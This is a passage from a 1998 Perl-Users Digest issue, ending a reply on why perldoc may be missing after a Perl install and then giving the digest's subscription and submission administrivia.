There is where perldoc should be installed.  If it's there, then you don't
have that directory in your $PATH variable.

If it's not there, then something is wrong with the installation.  If someone
else installed perl, see if you can find out if they could perhaps redo
the install step.  If you are the someone who installed perl, then either 
some step in the installation process was missed, or if you happened to
fetch or buy a binary distribution of perl and the folk who made it perhaps
didn't include all they should have.
-- 
<URL:mailto:lvirden@cas.org> Quote: In heaven, there is no panic,
<*> O- <URL:http://www.teraform.com/%7Elvirden/> only planning.
Unless explicitly stated to the contrary, nothing in this posting
should be construed as representing my employer's opinions.


------------------------------

Date: 12 Jul 98 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Special: Digest Administrivia (Last modified: 12 Mar 98)
Message-Id: <null>


Administrivia:

Special notice: in a few days, the new group comp.lang.perl.moderated
should be formed. I would rather not support two different groups, and I
know of no other plans to create a digested moderated group. This leaves
me with two options: 1) keep on with this group 2) change to the
moderated one.

If you have opinions on this, send them to
perl-users-request@ruby.oce.orst.edu. 


The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 3136
**************************************

home help back first fref pref prev next nref lref last post